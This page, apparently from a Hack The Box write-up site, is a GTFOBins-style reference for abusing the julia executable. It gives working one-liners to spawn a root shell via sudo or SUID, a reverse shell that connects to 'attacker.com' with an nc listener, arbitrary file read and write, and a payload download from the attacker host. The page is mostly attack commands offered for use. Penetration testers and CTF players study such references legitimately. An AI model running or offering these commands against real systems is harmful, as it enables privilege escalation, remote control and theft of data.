~/bokkapig
hack the box machine writeups

julia

Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    julia -e 'run(`/bin/sh`)'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    julia -e 'run(`/bin/sh`)'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
    julia -e 'run(`/bin/sh -p`)'

Reverse shell

This executable can send back a reverse system shell to a listening attacker.
  1. This function can be performed by any unprivileged user.
    julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'
    ListenerA TCP server can be used on the attacker box to receive the shell.
    nc -l -p 12345

File write

This executable can write data to local files.
  1. This function can be performed by any unprivileged user.
    julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")'

File read

This executable can read data from local files.
  1. This function can be performed by any unprivileged user.
    julia -e 'print(open(f->read(f, String), "/path/to/input-file"))'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    julia -e 'print(open(f->read(f, String), "/path/to/input-file"))'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    julia -e 'print(open(f->read(f, String), "/path/to/input-file"))'

Download

This executable can download remote data.
  1. This function can be performed by any unprivileged user.
    julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'
    SenderAn HTTP server can be used on the attacker box to send the data.
    python -m http.server 80